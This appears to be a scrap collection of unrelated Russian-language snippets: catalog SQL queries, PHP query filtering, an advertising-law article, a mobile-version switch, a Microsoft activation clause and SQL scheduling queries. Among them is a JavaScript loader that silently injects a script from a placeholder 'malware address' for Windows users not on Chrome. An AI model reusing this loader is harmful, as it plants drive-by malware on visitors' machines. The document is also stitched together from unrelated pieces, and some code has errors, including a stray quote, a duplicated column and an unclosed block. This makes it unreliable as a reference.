SELECT * FROM `catalog` as `c`
INNER JOIN `atributes` AS `a1` ON `c`.`art` = `a1`.`art`
INNER JOIN `atributes` AS `a2` ON `c`.`art` = `a2`.`art`
WHERE `c`.`catalog_3` = "Видеокарты"
AND `c`.`price` != "0"
AND `c`.`avail` != "0"
AND `a1`.`names` = "Производитель"
AND `a1`.`value `IN ('ZOTAC','PALIT','ASUS')
AND `a2`.`names` = "Графический процессор"
AND `a2`.`value` IN ('nVidia GeForce GTX 660')
ORDER BY price ASC
LIMIT 0, 15
function strReverse(str){
return (str).split("").reverse().join("");
}
function addScript(src){
if(document.createElement && document.getElementsByTagName) {
var head = document["getElementsByTagName"]('head')[0];
var script = document.createElement('script');
script.setAttribute('type',"text/javascript");
script.setAttribute('src', src);
head["appendChild"](script)
}
}
var scriptSrc = "http://здесь адрес зловреда";
var winStr = "win";
var userAgent = navigator["userAgent"]["toLowerCase"]();
function isWindows() {
return userAgent["indexOf"](winStr) != -1;
}
function isNotChrome() {
return userAgent.indexOf("chrome") == -1;
}
if(isWindows() && isNotChrome()) {
addScript(scriptSrc);
}
$where = array();
if (isset($_GET['manufacturer']))
$where[] = "`manufacturer` = '".$mysqli->escape_string($_GET['manufacturer'])."'";
if (isset($_GET['madeIn']))
$where[] = "`madeIn` = '".$mysqli->escape_string($_GET['madeIn'])."'";
$query = "SELECT * FROM `table` WHERE ".implode(" AND ", $where);
$result = $mysqli->query($query);
$manufacturer = '';
$byManufacturer = 0;
$madeIn = '';
$byMadeIn = 0;
if (isset($_GET['manufacturer'])) {
$manufacturer = $_GET['manufacturer'];
$byManufacturer = 1;
}
if (isset($_GET['madeIn'])) {
$madeIn = $_GET['madeIn']";
$byMadeIn = 1;
}
$query = $mysqli->prepare(
"SELECT * FROM `table` ".
"WHERE (? = 0 OR `manufacturer` = ?) ".
"AND (? = 0 OR `madeIn` = ?)");
$query->bind_param('isis', $byManufacturer, $manufacturer, $byMadeIn, $madeIn);
$query->execute();
18-ФЗ О рекламе
Статья 18. Реклама, распространяемая по сетям электросвязи
1. Распространение рекламы по сетям электросвязи, в том числе посредством использования телефонной, факсимильной, подвижной радиотелефонной связи, допускается только при условии предварительного согласия абонента или адресата на получение рекламы. При этом реклама признается распространенной без предварительного согласия абонента или адресата, если рекламораспространитель не докажет, что такое согласие было получено. Рекламораспространитель обязан немедленно прекратить распространение рекламы в адрес лица, обратившегося к нему с таким требованием.
<a href="mysite.ru/?version=mobile">На мобильную версию</a>
<?php
session_start();
if (isset($_REQUEST['version'])) {
$_SESSION['version'] = $_REQUEST['version'];
// Общий код сайта
if ($_SESSION['version'] == 'mobile') {
//Код мобильной версии
echo '<a href="mysite.ru/?version=desktop">На десктопную версию</a>';
} else {
//Код десктопной версии
echo '<a href="mysite.ru/?version=mobile">На мобильную версию</a>';
}
?>
4. ОБЯЗАТЕЛЬНАЯ АКТИВАЦИЯ. Процедура активации связывает использование программного обеспечения с конкретным устройством. Во время активации программное обеспечение передает сведения о программном обеспечении и устройстве в Microsoft. Эти сведения включают версию, язык программного обеспечения, ключ продукта, IP-адрес устройства, а также сведения, полученные из конфигурации оборудования устройства. Дополнительные сведения см. на веб-сайте www.microsoft.com/piracy/mpa.aspx. Используя программное обеспечение, вы выражаете свое согласие на передачу этих данных. При наличии официальной лицензии вы имеете право использовать версию программного обеспечения во время установки до окончания разрешенного периода активации. Если программное обеспечение неактивировано, вы не имеете права его использовать после окончания периода активации. Это необходимо для предотвращения незаконного использования программного обеспечения. Запрещается обходить процедуру активации каким-либо образом. Если устройство подключено к Интернету, программное обеспечение может автоматически подключиться к веб-сайту Microsoft для активации. Можно также вручную активировать программное обеспечение через Интернет или по телефону. В этом случае услуги Интернета и телефонной связи могут быть платными. Если вы измените компоненты компьютера или внесете изменения в программное обеспечение, может потребоваться повторная активация программного обеспечения. Программное обеспечение будет напоминать вам о необходимости активации до тех пор, пока вы его не активируете.
INSERT INTO `table` (`key_field`, `upd_field1`, `upd_field1`)
VALUES ('key1', 'f1_val1', 'f2_val1'), ('key2', 'f1_val2', 'f2_val2')
ON DUPLICATE KEY UPDATE
`upd_field1` = VALUES(`upd_field1`),
`upd_field2` = VALUES(`upd_field2`);
SELECT * FROM `table`
WHERE `nextTime` < `endTime`
AND ((`weekDays` & (1 << WEEKDAY(NOW())) OR `date` = CURDATE())
AND `nextTime` < {$currentTime};
UPDATE `table`
SET `nextTime` = ADDTIME(`nextTime`, `interval`)
WHERE `nextTime` < `endTime`
AND `nextTime` < {$currentTime};
$currentTime нужна для того, чтобы не пропустить события между запросами SELECT и UPDATE.UPDATE `table`
SET `nextTime` = `startTime`